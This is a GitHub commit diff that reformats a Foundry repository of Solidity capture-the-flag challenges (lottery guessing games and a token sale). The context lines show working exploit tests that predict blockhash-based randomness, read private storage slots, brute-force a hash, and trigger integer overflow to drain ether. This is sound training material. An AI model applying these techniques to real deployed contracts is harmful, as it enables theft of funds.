File tree 11 files changed +23
-21
lines changed
11 files changed +23
-21
lines changed Original file line number Diff line number Diff line change @@ -4,7 +4,6 @@ pragma solidity ^0.8.13;
4
4
contract GuessTheNewNumber {
5
5
constructor () payable {
6
6
require (msg .value == 1 ether);
7
-
8
7
}
9
8
10
9
function isComplete () public view returns (bool ) {
@@ -19,4 +18,4 @@ contract GuessTheNewNumber {
19
18
payable (msg .sender ).transfer (2 ether);
20
19
}
21
20
}
22
- }
21
+ }
Original file line number Diff line number Diff line change @@ -20,4 +20,4 @@ contract GuessTheRandomNumber {
20
20
payable (msg .sender ).transfer (2 ether);
21
21
}
22
22
}
23
- }
23
+ }
Original file line number Diff line number Diff line change @@ -34,4 +34,4 @@ contract PredictTheBlockHash {
34
34
payable (msg .sender ).transfer (2 ether);
35
35
}
36
36
}
37
- }
37
+ }
Original file line number Diff line number Diff line change @@ -34,4 +34,4 @@ contract PredictTheFuture {
34
34
payable (msg .sender ).transfer (2 ether);
35
35
}
36
36
}
37
- }
37
+ }
Original file line number Diff line number Diff line change @@ -27,4 +27,4 @@ contract TokenSale {
27
27
balanceOf[msg .sender ] -= numTokens;
28
28
payable (msg .sender ).transfer (numTokens * PRICE_PER_TOKEN);
29
29
}
30
- }
30
+ }
Original file line number Diff line number Diff line change @@ -6,6 +6,7 @@ import {GuessTheNewNumber} from "../../src/lotteries/GuessTheNewNumber.sol";
6
6
7
7
contract GuessTheNewNumberTest is Test {
8
8
GuessTheNewNumber challenge;
9
+
9
10
receive () external payable {}
10
11
11
12
function setUp () public {
@@ -17,12 +18,12 @@ contract GuessTheNewNumberTest is Test {
17
18
// this call is from a Contract
18
19
// which share same block infos.
19
20
// so we can just calculate the answer to "guess".
20
- // we can deploy a proxy contract to do this
21
+ // we can deploy a proxy contract to do this
21
22
// if not within foundry test.
22
23
uint8 answer = uint8 (uint256 (keccak256 (abi.encodePacked (blockhash (block .number - 1 ), block .timestamp ))));
23
24
vm.deal (address (this ), 1 ether);
24
25
challenge.guess {value: 1 ether }(answer);
25
-
26
+
26
27
assertTrue (challenge.isComplete (), "not completed " );
27
28
}
28
29
}
Original file line number Diff line number Diff line change @@ -6,6 +6,7 @@ import {GuessTheRandomNumber} from "../../src/lotteries/GuessTheRandomNumber.sol
6
6
7
7
contract GuessTheRandomNumberTest is Test {
8
8
GuessTheRandomNumber challenge;
9
+
9
10
receive () external payable {}
10
11
11
12
function setUp () public {
@@ -15,14 +16,14 @@ contract GuessTheRandomNumberTest is Test {
15
16
16
17
function testReadingFromSlot () public {
17
18
// we read answer from slot 0
18
- // because it's only "private" to other contracts
19
+ // because it's only "private" to other contracts
19
20
// or external calls through standard function invocations.
20
21
bytes32 slot = bytes32 (uint256 (0 ));
21
22
bytes32 value = vm.load (address (challenge), slot);
22
23
uint8 answer = uint8 (uint256 (value));
23
24
vm.deal (address (this ), 1 ether);
24
25
challenge.guess {value: 1 ether }(answer);
25
-
26
+
26
27
assertTrue (challenge.isComplete (), "not completed " );
27
28
}
28
29
}
Original file line number Diff line number Diff line change @@ -16,16 +16,16 @@ contract GuessTheSecretNumberTest is Test {
16
16
17
17
function testBruteForce () public {
18
18
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365 ;
19
-
20
- // uint8 can only hold 256 in maximum,
19
+
20
+ // uint8 can only hold 256 in maximum,
21
21
// we can try hash all of them to get answer.
22
22
for (uint8 i = 0 ; i < 255 ; i++ ) {
23
23
if (keccak256 (abi.encodePacked (i)) == answerHash) {
24
24
challenge.guess {value: 1 ether }(i);
25
25
break ;
26
26
}
27
27
}
28
-
28
+
29
29
assertTrue (challenge.isComplete (), "not completed " );
30
30
}
31
31
}
Original file line number Diff line number Diff line change @@ -6,6 +6,7 @@ import {PredictTheBlockHash} from "../../src/lotteries/PredictTheBlockHash.sol";
6
6
7
7
contract PredictTheBlockHashTest is Test {
8
8
PredictTheBlockHash challenge;
9
+
9
10
receive () external payable {}
10
11
11
12
function setUp () public {
@@ -23,4 +24,3 @@ contract PredictTheBlockHashTest is Test {
23
24
assertTrue (challenge.isComplete (), "not completed " );
24
25
}
25
26
}
26
-
Original file line number Diff line number Diff line change @@ -6,6 +6,7 @@ import {PredictTheFuture} from "../../src/lotteries/PredictTheFuture.sol";
6
6
7
7
contract PredictTheFutureTest is Test {
8
8
PredictTheFuture challenge;
9
+
9
10
receive () external payable {}
10
11
11
12
function setUp () public {
@@ -19,20 +20,20 @@ contract PredictTheFutureTest is Test {
19
20
vm.deal (address (this ), 1 ether);
20
21
uint8 answer = 0 ;
21
22
Proxy proxy = new Proxy (challenge);
22
- uint blockNumber = block .number ;
23
+ uint256 blockNumber = block .number ;
23
24
proxy.lockInGuess {value: 1 ether }(answer);
24
-
25
+
25
26
uint8 lastIndex = 0 ;
26
27
for (uint8 i = 0 ; i < 256 ; i++ ) {
27
28
vm.roll (blockNumber + 2 + i);
28
29
try proxy.attack () {
29
30
lastIndex = i + 1 ;
30
31
break ;
31
- } catch (bytes memory /*lowLevelData*/ ) {
32
+ } catch (bytes memory ) /*lowLevelData*/ {
32
33
// This is executed in case revert() was used.
33
34
}
34
35
}
35
-
36
+
36
37
assertTrue (challenge.isComplete (), "not completed " );
37
38
}
38
39
}
Original file line number Diff line number Diff line change @@ -6,6 +6,7 @@ import {TokenSale} from "../../src/math/TokenSale.sol";
6
6
7
7
contract TokenSaleTest is Test {
8
8
TokenSale challenge;
9
+
9
10
receive () external payable {}
10
11
11
12
function setUp () public {
@@ -21,10 +22,10 @@ contract TokenSaleTest is Test {
21
22
unchecked {
22
23
// max / ether ... * ether = max
23
24
// so plus it with one will cause overflow
24
- uint256 numTokens = (type (uint256 ).max / 1 ether)+ 1 ;
25
+ uint256 numTokens = (type (uint256 ).max / 1 ether) + 1 ;
25
26
// we need to pay this `overflow` amount
26
27
uint256 value = numTokens * 1 ether % type (uint256 ).max;
27
- // now we can get almost type(uint256).max tokens
28
+ // now we can get almost type(uint256).max tokens
28
29
// with only a few ether/wei.
29
30
challenge.buy {value: value}(numTokens);
30
31
}
@@ -33,4 +34,3 @@ contract TokenSaleTest is Test {
33
34
assertTrue (challenge.isComplete (), "not completed " );
34
35
}
35
36
}
36
-
You can’t perform that action at this time.
0 commit comments